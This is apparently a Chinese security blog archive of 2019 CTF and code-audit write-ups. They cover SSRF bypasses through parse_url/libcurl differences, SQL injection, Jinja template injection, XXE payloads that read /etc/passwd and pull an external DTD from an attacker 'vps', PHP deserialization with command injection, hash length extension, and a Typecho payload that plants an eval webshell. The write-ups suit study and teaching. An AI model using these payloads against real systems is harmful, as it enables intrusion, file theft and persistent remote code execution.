命令git tag 用于新建一个标签，默认为HEAD，也可以指定一个commit id；
命令git tag -a -m “blablabla…”可以指定标签信息；
命令git tag可以查看所有标签。
命令git push origin 可以推送一个本地标签；
命令git push origin —tags可以推送全部未推送过的本地标签；
命令git tag -d 可以删除一个本地标签；
命令git push origin :refs/tags/可以删除一个远程标签。

GitHack的原理

如果将.git文件夹部署到线上环境，将引起git源码泄露

工作原理：

1、解析.git/index文件，找到工程中所有的： ( 文件名，文件sha1 )
2、去.git/objects/ 文件夹下下载对应的文件
3、zlib解压文件，按原始的目录结构写入源代码

git的原理

git cat-file 命令

参考

GitHack：一个git泄露利用脚本
 git内部原理
 XDCTF2015代码审计全解

记录php代码审计

Fri, 16 Aug 2019 00:00:00 GMT

怎么过去呢

if(isset($_POST['url']) && parse_url($_POST['url'])['host']=='www.baidu.com')
{
    var_dump(parse_url($_POST['url'])['host']);
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $_POST['url']);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    $content = curl_exec($curl);
    echo $content;
    curl_close($curl);
    $filename='download/'.rand().';img1.jpg';
    file_put_contents($filename,$content);
    echo $_POST['url'];
    $img="<img src=\"".$filename."\"/>";
    echo $img;
}
else
{
    echo "you need post url: http://www.ichunqiu.com";
}

这里主要还是利用parse_url这个函数

其实这里利用的是一个parse_url和libcurl之间的差异

匹配规则：

php parse_url：
host: 匹配最后一个@后面符合格式的host

libcurl：
host：匹配第一个@后面符合格式的host

比如这个URL
http://u:p@a.com:80@b.com/

parse_url解析结果

schema: http 
host: b.com
user: u
pass: p@a.com:80

libcurl解析结果：

schema: http
host: a.com
user: u
pass: p
port: 80
后面的@b.com/会被忽略掉

这样我么就可以构造payload:

url=file://@127.0.0.1:80@www.baidu.com/./..//var/www/html/flag.php

parse_url解析出www.baidu.com绕过if
然后curl解析file协议

ssrf绕过记录
 Some trick in ssrf and unserialize()/#trick2-libcurl-and-parse-url)

parse_url函数的问题

<?php
error_reporting(0);
$_GET=Add_S($_GET);
$_POST=Add_S($_POST);
$_COOKIE=Add_S($_COOKIE);
$_REQUEST=Add_S($_REQUEST);
function Add_S($array)
{
foreach($array as $key=>$value){
            if(!is_array($value)){
                    $check= preg_match('/regexp|and|like|\"|%|insert|update|delete|union|into|load_file|outfile|\/\*/i', $value);
                    if($check)
                            {
                            exit("Hacker!");
                    }
            }else{
                    $array[$key]=Add_S($array[$key]);
            }
    }
return $array;
}

function Measurement_url()
{
    $url=parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    $Keyword=array("from","select","like","or");
    foreach($query as $key)
    {
    foreach($Keyword as $value)
    {
        if(preg_match("/".$value."/",strtolower($key)))
        {
            die("fuck u!");
        }
    }
}
}
?>

在Add_S函数中把一些关键字都给过滤了，同时还有一部分关键字是在Measurement_url函数中过滤的，但是这个函数中有一个parse_url函数

http://127.0.0.1///info/parseurl.php?sql=select 这种形式的URL经过parse_url后会返回false。。

于是可以绕过的payload如下

http://118.126.113.78///web1/?id=1' ^ 1=extractvalue(1,concat(0x3a,(select password from sql_inject1 limit 3,1),0x3a))--+

具体parse_url漏洞的分析可以参考一叶飘零师傅的文章

然而我在本地测试的时候：

并没有成功，php的版本：

这就很奇怪了

<?php 
$url = "http://localhost///web/trick1/parse.php?sql=select";

$parse_url_result = parse_url($url);

print_r($parse_url_result);

 ?>

一道入群题

<?php 
highlight_file(__FILE__);
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 

$url = $_GET['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 

?>

很明显这是一道ssrf的题目，白名单，只能用如下协议http|https|gopher|dict

两个payload均可

payload1: ?url=http://127.0.0.1./flag.php
payload2: ?url=http://@127.0.0.1:80@baidu.com/flag.php

然后开始爆破内网的ip和端口

居然不记得怎么用Burp同时爆破两个字段了，查了一下 https://bbs.ichunqiu.com/thread-17395-1-1.html

可以得到172.11.243.81:8080和172.11.243.218:3306，分别为一个flask服务和mysql服务。

通过http访问内网的flask

得到源码



app = flask.Flask(__name__)
app.config['HINT'] = os.environ.pop('HINT')
@app.route('/')
def index():
    return open(__file__).read()
@app.route('/yulige/<path:yulige>')
def yulige(yulige):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
    return flask.render_template_string(safe_jinja(yulige))
if __name__ == '__main__':
    app.run("0.0.0.0",port=8080)

模板注入得到HINT

payload

#payload:{{url_for.__globals__[%27current_app%27].config[%27HINT%27]}}
#payload:{{get_flashed_messages.__globals__[%27current_app%27].config[%27HINT%27]}}

string(29) “mysql_user_is_yuligeeee123321”

v2ray学习

Thu, 15 Aug 2019 00:00:00 GMT

V2Ray 使用 inbound(传入) 和 outbound(传出) 的结构，这样的结构非常清晰地体现了数据包的流动方向，同时也使得 V2Ray 功能强大复杂的同时而不混乱，清晰明了。形象地说，我们可以把 V2Ray 当作一个盒子，这个盒子有入口和出口(即 inbound 和 outbound)，我们将数据包通过某个入口放进这个盒子里，然后这个盒子以某种机制（这个机制其实就是路由，后面会讲到）决定这个数据包从哪个出口吐出来。以这样的角度理解的话，V2Ray 做客户端，则 inbound 接收来自浏览器数据，由 outbound 发出去(通常是发到 V2Ray 服务器)；V2Ray 做服务器，则 inbound 接收来自 V2Ray 客户端的数据，由 outbound 发出去(通常是如 Google 等想要访问的目标网站)。

v2ray的工作原理：

客户端：

假设客户端配置inbounds，post为1080，协议是socks。首先需要在浏览器中设置代理sock host:127.0.0.1 port 1080

如果访问google.com 那么浏览器的数据包会发送到本机的1080端口，这个时候数据包被本机的v2ray客户端收到

再看outbounds。协议是vmess，v2ray客户端接收到数据包之后打包成vmess的格式并且用预设的id加密，然后发送到服务器地址xxxx，端口pppp

所以如下的配置大概就能理解了：

客户端：


{
  "inbounds": [
    {
      "port": 1080, // 监听端口
      "protocol": "socks", // 入口协议为 SOCKS 5
      "sniffing": {
        "enabled": true,
        "destOverride": ["http", "tls"]
      },
      "settings": {
        "auth": "noauth"  //socks的认证设置，noauth 代表不认证，由于 socks 通常在客户端使用，所以这里不认证
      }
    }
  ],
  "outbounds": [
    {
      "protocol": "vmess", // 出口协议
      "settings": {
        "vnext": [
          {
            "address": "serveraddr.com", // 服务器地址，请修改为你自己的服务器 IP 或域名
            "port": 16823,  // 服务器端口
            "users": [
              {
                "id": "b831381d-6324-4d53-ad4f-8cda48b30811",  // 用户 ID，必须与服务器端配置相同
                "alterId": 64 // 此处的值也应当与服务器相同
              }
            ]
          }
        ]
      }
    }
  ]
}

浏览器—->本机的v2ray—->vps监听的端口

服务端配置：

{
  "inbounds": [
    {
      "port": 16823, // 服务器监听端口
      "protocol": "vmess",    // 主传入协议
      "settings": {
        "clients": [
          {
            "id": "b831381d-6324-4d53-ad4f-8cda48b30811",  // 用户 ID，客户端与服务器必须相同
            "alterId": 64
          }
        ]
      }
    }
  ],
  "outbounds": [
    {
      "protocol": "freedom",  // 主传出协议
      "settings": {}
    }
  ]
}

在客户端配置的 inbounds 中，有一个 “sniffing” 字段，V2Ray 手册解释为“流量探测，根据指定的流量类型，重置所请求的目标”，这话不太好理解，简单说这东西就是从网络流量中识别出域名。这个 sniffing 有两个用处：

解决 DNS 污染；
对于 IP 流量可以应用后文提到的域名路由规则；
识别 BT 协议，根据自己的需要拦截或者直连 BT 流量

接着看服务器，服务器配置的 id 是 b831381d-6324-4d53-ad4f-8cda48b30811，所以 V2Ray 服务器接收到客户端发来的数据包时就会尝试用 b831381d-6324-4d53-ad4f-8cda48b30811 解密，如果解密成功再看一下时间对不对，对的话就把数据包发到 outbound 去，outbound.protocol 是 freedom（freedom 的中文意思是自由，在这里姑且将它理解成直连吧），数据包就直接发到 google.com 了。

参考

v2ray配置指南

xxe学习

Thu, 15 Aug 2019 00:00:00 GMT

今天做题的时候遇到了一个xxe相关的题目，难度不大，现场学习的xxe，事后来总结一下：

原题的名字是who are you，进去之后有一个输入框，输入什么就会回显什么，首先试了一下xss，只出现了alert(1)

查看页面的源代码发现：

function play() {
     return false;
 }
 function func() {
     // document.getElementById().value
     var xml = '' +
         '<\?xml version="1.0" encoding="UTF-8"\?>' +
         '<feedback>' +
         '<author>' + document.getElementById('name').value+ '</author>' +
         '</feedback>';
     console.log(xml);
     var xmlhttp = new XMLHttpRequest();
     xmlhttp.onreadystatechange = function () {
         if (xmlhttp.readyState == 4) {
             // console.log(xmlhttp.readyState);
             // console.log(xmlhttp.responseText);
             var res = xmlhttp.responseText;
             document.getElementById('title').textContent = res
         }
     };
     xmlhttp.open("POST", "index.php", true);
     xmlhttp.send(xml);
     return false;
 };

显然xml数据是拼接的，直接对<script>进行实体编码就能够xss，然而这题的考点并不是这个。

xml相关的自然是xxe，也就是XML 外部实体注入

这需要有一点DTD的知识：

DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。
DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。

DTD的引入是为了规范XML的，从一个栗子可以看：

DOCTYPE声明了XML由哪些标签，因为XML的标签不同于HTML，是可以自定义的。

DTD可以在XML文档内部声明，也可以外部引用,同时实体也可以内部声明或者外部引用

内部实体声明D

DTD 实例:

<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">

XML 实例：

<author>&writer;&copyright;</author>

外部实体声明

DTD 实例:

<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">

XML example:

<author>&writer;&copyright;</author>

最常见的引入外部实体就是通过file协议读取文件：

<?xml version="1.0" ?>
<!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>

另一种payload

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY % d SYSTEM "http://vps/evil.dtd">
    %d;
]>
<c>&b;</c>

我们可以在自己的VPS上构造

<!ENTITY b SYSTEM "file:///etc/passwd">

也可以这样：

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://vps//evil.dtd">
<c>&b;</c>

vps上的evil.dtd内容：
<!ENTITY b SYSTEM "file:///etc/passwd">

不同的程序支持的协议也有区别，比如今天遇到的题目就是支持php伪协议：

ok到这里就差不多了。

献上拿到题目的payload：

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>

其实就是通过php伪协议去读取文件，flag就在index.php里面

接下来看一道Google ctf2019的题目：

直奔主题好了，这个题目抓包发现传送的是json格式的数据，但是也可以修改为XML格式的数据，很神奇吧：

之后这个题目涉及到一个使用本地的dtd来盲注xxe的姿势：

payload

<!DOCTYPE message[
	<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
	<!ENTITY % ISOamso '
	<!ENTITY &#x25; file SYSTEM "file:///etc/passed">
	<!ENTITY &#x25; eval "<!ENTITY &#x26;&#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
	&#x25;eval;
	&#x25;error;
	'>
	%local_dtd;
]>

参考

CTF学习—web—XXE

菜鸟教程

未知攻焉知防——XXE漏洞攻防

php-storm环境

Wed, 14 Aug 2019 00:00:00 GMT

继续配置了一波phpStorm的环境，感觉对这个IDE还有很多可以研究的地方

在这里可以修改php的路径，我选择了phpStudy的一个php解释器，因为其中安装了Xdebug。

配置apache的环境，选择的是Local or mounted folder,因为服务器就在本地

路由映射

之后就可以在phpStorm写完代码部署到本地的服务器上了

也可以debug了

php-challenge

Mon, 12 Aug 2019 00:00:00 GMT

继续分析GitHub上的一个代码审计项目

challenge-1

$users = array(
        "0:9b5c3d2b64b8f74e56edec71462bd97a" ,
        "1:4eb5fb1501102508a86971773849d266",
        "2:facabd94d57fc9f1e655ef9ce891e86e",
        "3:ce3924f011fe323df3a6a95222b0c909",
        "4:7f6618422e6a7ca2e939bd83abde402c",
        "5:06e2b745f3124f7d670f78eabaa94809",
        "6:8e39a6e40900bb0824a8e150c0d0d59f",
        "7:d035e1a80bbb377ce1edce42728849f2",
        "8:0927d64a71a9d0078c274fc5f4f10821",
        "9:e2e23d64a642ee82c7a270c6c76df142",
        "10:70298593dd7ada576aff61b6750b9118"
);

$valid_user = false;

$input = $_COOKIE['user'];
$input[1] = md5($input[1]);

foreach ($users as $user)
{
        $user = explode(":", $user);
        if ($input === $user) {
                $uid = $input[0] + 0;
                $valid_user = true;
        }
}

if (!$valid_user) {
        die("not a valid user\n");
}

if ($uid == 0) {

        echo "Hello Admin How can I serve you today?\n";
        echo "SECRETS ....\n";

} else {
        echo "Welcome back user\n";
}

这题只能在特定的环境下运行，根源在这里

存在这样一个bug

[2015-06-20 14:29 UTC] nikic@php.net
Description:
------------
var_dump([0 => 0] === [0x100000000 => 0]); // bool(true)

on all versions: http://3v4l.org/Sjdf8

其实是内部实现的时候：

Bucket *p1, *p2 = NULL;
       int result;
       void *pData2;

       ...

       while (p1) {
               if (ordered && !p2) {
                       ...
               }
               if (ordered) {
                       if (p1->nKeyLength==0 && p2->nKeyLength==0) { /* numeric indices */
                               result = p1->h - p2->h;                <------------ POSSIBLE TRUNCATION
                               if (result!=0) {
                                       HASH_UNPROTECT_RECURSION(ht1);
                                       HASH_UNPROTECT_RECURSION(ht2);
                                       return result;
                               }

result是32位的，而其他的是64位，这样如果我64位数据的低32位都是0就可以绕过了

同时users数组中能解密的只有第5个，想办法让两个数组相等

Cookie: users[4,294,967,296]=5;users[1]=hund

这样$user===$input同时由于$input[0]未赋初值，那就是0了，这样就是admin了

challenge-10

<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id'])
{
	header('Location: index.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'Hahahahahaha';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	require("flag.txt");
}
else
{
	print "work harder!harder!harder!";
}
?>

小tricks：

var_dump(‘a’==true); 结果为true

var_dump(‘a’ == 0); 结果为true

所以id输入一个字母就能够使得!$_GET['id']为false，同时$id == 0为true

$data是从一个文件中得到的结果，这时候想到php伪协议，输入a=php://input再post数据就行

eregi("111".substr($b, 0, 1), "1114") 结合后面的substr($b, 0, 1)!=4 要通过substr函数的截断才行

所以设置$b=%00111111, substr函数会被截断，strlen不会，eregi就能匹配上了。

补充一点php伪协议的知识，参考了LoRexxar师傅的文章。

php中支持的伪协议很多，

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流（I/O streams）
zlib:// — 压缩流
data:// — 数据（RFC 2397）
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

我们最常用的任意文件读取的payload就是用了php://协议：

php://filter/read=convert.base64-encode/resource=upload.php

针对php://filter，官方文档是这样写的：

名称	描述
resource=<要过滤的数据流>	   这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表>	       该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。
write=<写链的筛选列表>	   该参数可选。可以设定一个或多个过滤器名称，以管道符（|）分隔。
<；两个链的筛选列表>	       任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

在我们的payload中，upload.php就是要过滤的数据流，convert.base64-encode就是要读链的筛选列表

之所以要base64编码，一般是为了数据传输的方便

官方文档中能够举了如下栗子：

<?php
$fp = fopen('php://output', 'w');

stream_filter_append($fp, 'convert.base64-encode');
fwrite($fp, "This is a test.\n");
fclose($fp);

$param = array('line-length'=>8, 'line-break-chars'=>"\r\n");
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);
fwrite($fp, "This is a test.\n");
fclose($fp);

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==");
fclose($fp);
?>

除了base64之外还有其他的一些过滤器，官方文档中有些。

challenge-11

<?php 
    
error_reporting(0);

$link = mysql_connect('localhost', 'root', '');
if (!$link) { 
    die('Could not connect to MySQL: ' . mysql_error()); 
} 

// 选择数据库
$db = mysql_select_db("test", $link);
if(!$db)
{
    echo 'select db error';
    exit();
}

// 执行sql
$password = $_GET['pwd'];
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );

$row1 = mysql_fetch_row($result);
var_dump($row1);

mysql_close($link);

?>

challenge-12

<?php 
error_reporting(0);
show_source(__FILE__);

$a = @$_REQUEST['hello'];
eval("var_dump($a);");

字符串直接拼接

?hello=);eval(phpinfo());//

challenge-13

<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
   is_numeric(@$a["bar1"])?die("nope"):NULL;
   if(@$a["bar1"]){
	   ($a["bar1"]>2016)?$v1=1:NULL;
   }
   if(is_array(@$a["bar2"])){
	   if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
	   $pos = array_search("nudt", $a["a2"]);
	   $pos===false?die("nope"):NULL;
	   foreach($a["bar2"] as $key=>$val){
		   $val==="nudt"?die("nope"):NULL;
	   }
	   $v2=1;
   }
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
   if(!strcmp($c[1],$d) && $c[1]!==$d){
	   eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
	   strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
   }
}
if($v1 && $v2 && $v3){
   include "flag.php";
   echo $flag;
}
?>

可能是我对json不是很了解，这里必须都使用双引号才行。

两个不是弱类型的trick：

var_dump(0===false) 为false
var_dump(null===false) 为false

哈希扩展攻击继续分析

Mon, 12 Aug 2019 00:00:00 GMT

最近看到了好多针对de1ctf ssrfme题目分析，顺便把之前没搞明白的哈希长度扩展攻击写一下

链接这篇文章讲的很仔细了，分析一下文章中的栗子

师傅给的代码

md5的过程

MD5 padding

如果输入信息的长度(字节)对64求余的结果不等于56，就需要填充使得对64求余的结果等于56。填充的方法是填充一个x80和xx个0。填充完后，信息的长度为N*64+56(字节)，并且最后8个字节用来记录原始输入信息长度

MD5 compress
这个算法直接到网上找就行

所以MD5的过程就是：

先进行消息长度的填充(padding)。填充完后，初始化的4个Magic number会和第一个64字节的Message block进行md5 compress压缩算法。压缩算法完成后，会产生新的4个Magic number。这样再进行第二个64字节Message block的md5 compress压缩算法。以此类推……直到压缩到最后64个字节的(Message block + padding)，最后得到的Magic number经过hex转化就是最后的md5 hash值

比如md5(‘admin’),由于padding之后只有64个字节，所以只进行一轮的md5 compress 得到的密文就是：

21232f297a57a5a743894a0e4a801fc3

我们可以从密文推导出4个magic number：

A=0x292f2321L
B=0xa7a5577aL
C=0xe4a8943L
D=0xc31f804aL

这个关系就是大小端转化一下

md5长度扩展的攻击过程

知道如下三个值：

md5(salt+message)的值
message内容
salt+message长度

我们可以根据md5(salt+message)的值逆向出最后的四个magic number

def compute_magic_number(self, md5str):
    self.A = struct.unpack("I", md5str[0:8].decode('hex'))[0]
    self.B = struct.unpack("I", md5str[8:16].decode('hex'))[0]
    self.C = struct.unpack("I", md5str[16:24].decode('hex'))[0]
    self.D = struct.unpack("I", md5str[24:32].decode('hex'))[0]

这个四个magic number去和m做一下次的md5 compress

再理解一下

继续又看了一篇师傅的文章，想要好好梳理一下哈希扩展攻击

师傅是以sha1算法为例讲解的： sha1的流程如下：

sha1算法和md5很相似，也有最初的四个IV，并且是确定的(这是一种很不好的方法但是也是一种无奈的举动)

一个不足64位的字符串会被padding至64位，并且由于只有一个分组，所以只需要一轮运算即可

我们在前一次64位padding之后的字符串的基础上加入一些字符，sha1(salt+padding+add_data) 首先这里肯定是要分成两组的，前一组加密后的内容已经知道了，同时产生的新的IV会参与下一次的复杂的数学运算

而这些IV是能够从第一组的密文中得知的，这就导致下一组加密后的内容实际上我们也可以知道的

《白帽子讲web安全》上提到，如何利用长度扩展攻击：

LengthExtension 使得可以在原文之后附加任意的值，并计算出新的hash值，最常见的地方就是签名

错误的签名校验算法
参数连接时没有使用分隔符，本来是?a=1&b=2&c=3在签名算法中简单地变成了a1b2c3

于是攻击者可以伪造参数?a=1b2c3[...padding....]&b=4&c=5

最终在签名算法中连接时变成了a1b2c3[...padding...]b4c5

附加任意的参数
HPP

最简单的防护就是将secret放置在参数的末尾

举例

大师傅给的栗子：

<?php

$role = $_REQUEST["role"];
$hash = $_REQUEST["hash"];
$salt = "meme"; 

if ($hash !== md5($salt.$role)){
    echo 'wrong!';     
    exit;
}

if ( $role == 'admin'){
    echo 'wrong, hash cann\'t be admin';
    exit;
}

echo "You are ".$role.'</br>';
echo 'Congradulation!';

?>

已知role为admin，salt的长度为4，hash值为：c7813629f22b6a7d28a08041db3e80a9

我们可以在role后面附加任意的数据使得第一个if被绕过

用大师傅的脚本：

python md5pad.py c7813629f22b6a7d28a08041db3e80a9 joychou 9

当然也可以这样：

$ hashpump                                                                                                                        
Input Signature: c7813629f22b6a7d28a08041db3e80a9
Input Data: admin
Input Key Length: 9
Input Data to Add: joychou
06cf5a94dcda53659f58c0f411ba0bd8
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00p\x00\x00\x00\x00\x00\x00\x00joychou

注意第三次输入的数据长度是包括salt在内的

参考

深入理解hash长度扩展攻击（sha1为例）
Hash Length Extension Attack

php反序列化笔记1

Sun, 11 Aug 2019 00:00:00 GMT

在freebuf上看到了一篇新的php反序列化的文章，借此继续分析一下php反序列化。

文章中的代码如下：

<?php

error_reporting(0);

class come{    

   private $method;

   private $args;

   function __construct($method, $args) {

       $this->method = $method;

       $this->args = $args;

    }

   function __wakeup(){

       foreach($this->args as $k => $v) {

           $this->args[$k] = $this->waf(trim($v));

       }

    }

   function waf($str){

       $str=preg_replace("/[<>*;|?\n ]/","",$str);

       $str=str_replace('flag','',$str);

       return $str;

   }           

   function echos($host){

       system("echos $host".$host);

    }

   function __destruct(){

       if (in_array($this->method, array("echos"))) {

           call_user_func_array(array($this, $this->method), $this->args);

       }

    }

}

$first='hi';

$var='var';

$bbb='bbb';

$ccc='ccc';

$i=1;

foreach($_GET as $key => $value) {

       if($i===1)

       {

           $i++;   

           $$key = $value;

       }

       else{break;}

}

if($first==="doller")

{
   var_dump($_GET['a']);
   @parse_str($_GET['a']);

   if($var==="give")

    {

       if($bbb==="me")

       {

           if($ccc==="flag")

           {

                echo"<br>welcome!<br>";

                $come=@$_POST['come'];

                unserialize($come); 

           }

       }

       else

       {echo "<br>think about it<br>";}

    }

   else

    {

       echo "NO";

    }

}

else

{

   echo "Can you hack me?<br>";

}

?>

有两个小trick需要绕过，都是变量覆盖的漏洞，同时parse_str函数需要接受的是一个字符串，为了在浏览器栏中输入需要将&符号进行URL编码

http://localhost/test/unserialize.php?first=doller&a=var=give%26bbb=me%26ccc=flag

这样就能绕过两个小trick

之后就是怎么利用那个反序列化了，__construct函数没有什么用，__wakeup方法会将私有属性args通过一个waf函数进行过滤，__destruct函数中有一个危险函数call_user_func_array,注意到调用这个函数的时候传入的是一个数组，其实就是调用这个this类中的一个方法。但是之前的if判断限制了调用的方法只能是echos，分析echos方法发现其中有一个system函数，但是echo错误的拼成了echos :laughing:

于是我们的思路就是通过传入反序列化后的值使得echos函数被调用执行我们的命令，这就设计到在Linux或者Windows中一行执行多条命令的方式。

在Linux中：

&是不管前后命令是否执行成功都会执行前后命令
&&是前面的命令执行成功才能执行后面的命令
||是前面的命令执行不成功才能执行后面的命令
|管道符

构造出反序列化数据如下：

O:4:"come":2:{s:10:"comeargs";a:1:{i:0;s:4:"&dir";}s:12:"comemethod";s:5:"echos";}

但是。。。

var_dump一下发现了：

:\ProgramFiles\phpstudy\PHPTutorial\WWW\test\unserialize.php:104:string 'O:4:"come":2:{s:10:"comeargs";a:1:{i:0;s:4:"' (length=44)

发现数据被截断了。。

var_dump之前的构造的反序列化数据：

O:4:"come":2:{s:10:"comeargs";a:1:{i:0;s:4:"&dir";}s:12:"comemethod";s:5:"echos";}F:\notes\audit\test.php:8:  ---> echo出来的结果
string(86) "O:4:"come":2:{s:10:"\000come\000args";a:1:{i:0;s:4:"&dir";}s:12:"\000come\000method";s:5:"echos";}" ---> var_dump出来的结果

因为php在反序列化数据时：

protected属性的表示方式是在变量名前加个%00*%00
private表示方式是在变量名前加上%00类名%00

所以次数的两个private属性都被加上了00阶段符号，于是只能通过python手动编码传输数据了



url = "http://localhost/test/unserialize.php?first=doller&a=var=give%26bbb=me%26ccc=flag"

n = '00'.decode('hex')
o = 'O:4:"come":2:{s:12:"'+n+'come'+n+'method";s:5:"echos";s:10:"'+n+'come'+n+'args";a:1:{i:0;s:4:"&dir";}}"'

r = requests.post(url, data={"come":o})
print r.text

返回的结果如下：

之后如果要读取flag还有几个姿势，但不是本文的重点了

typecho反序列化漏洞

先放出payload

<?php
 
class Typecho_Request
{
 private $_filter=array("assert");
 private $_params=array("screenName"=>"file_put_contents('jrxnm.php', '<?php eval(\$_GET[jrxnm]);');");	
}
 
 
class Typecho_Feed
{
	private $_items = array();
	private $_type = 'RSS 2.0';
	function __construct(){
		$item['author'] = new Typecho_Request();
		$this->_items[0] = $item;
	}
	
}
 
$abc = new Typecho_Feed();
echo base64_encode(serialize(array("adapter"=>$abc,"prefix"=>"_typecho")));

序列化一个数组之后作为cookie传入，关键代码：

此处$config接收cookie中的参数，那么$config此时就是一个数组:

$config = array("adapter"=>$abc, "prefix"=>"_typecho")

其中adapter键对应的是一个对象。

然后$config的两个键值对应的value都作为参数进入了一个类。

查看该类的构造方法发现存在字符串拼接：

那么查找__toString()魔术方法，我们发现在Feed.php文件中的一个类：Typecho_Feed

$item['author']->screenName如果$item[‘author’] 是一个对象，且不存在screenName属性时，会自动调用__get魔法函数。

于是我们想要在实例化Typecho_Db类的时候，调用Typecho_Feed类中的__toString方法

此时继续寻找__get方法：

在Request.php文件中有一个类Typecho_Request中的__get方法如下：

/**
 * 获取实际传递参数(magic)
 *
 * @access public
 * @param string $key 指定参数
 * @return void
 */
public function __get($key)
{
    return $this->get($key);
}

继续分析get方法：

public function get($key, $default = NULL)
{
    $value = $default;

    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset($_GET[$key]):
            $value = $_GET[$key];
            break;
        case isset($_POST[$key]):
            $value = $_POST[$key];
            break;
        case isset($_COOKIE[$key]):
            $value = $_COOKIE[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = is_array($value) || strlen($value) > 0 ? $value : $default;
    return $this->_filter ? $this->_applyFilter($value) : $value;
}

如果$this->_filter，就会调用_applyFilter方法：

private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }
    }

    $this->_filter = array();
    return $value;
}

此时终于看到了call_user_func方法，函数名是this->_filter

再看一道反序列化

``php
<?php
class Template{
public $cacheFile = ‘/tmp/cachefile’;
public $template = ‘

welcome back %s

‘;

public function __construct($data=null)
{
    $data=$this->lodaData($data);
    $this->render($data);
}

public function loadData($data){
    if(substr($data, 0, 2) !== '0:' && !preg_match('/0:\d:\/', $data)){
        return unserialize($data);
    }
    return [];
}

public function createCache($file=null, $tpl=null){
    $file = $file ?? $this->cacheFile;
    $tpl = $tpl ?? $this->template;
    file_put_contents($file, $tpl);
}

public function render($data){
    echo sprintf($this->template, htmlspecialchars($data['name']));
}

public function __destruct()
{
    $this->createCache();
}

}

new Template($_COOKIE[‘data’]);


这道题也是反序列化的应用，利用思路很清晰就是通过`__destruct`调用`createCache`写入一个webshell

重点在于这里：

```php
    public function loadData($data){
        if(substr($data, 0, 2) !== '0:' && !preg_match('/0:\d:\/', $data)){
            return unserialize($data);
        }
        return [];
    }

如果绕过这个if判断，这里需要分析一下php的源码：在’O:’,后面可以增加’+’，用来绕过正则判断。

参考

PHP反序列化漏洞简介及相关技巧小结

0ctfbabyheap

Sat, 10 Aug 2019 00:00:00 GMT

被0ctf的这道题目搞了好久。记录一下

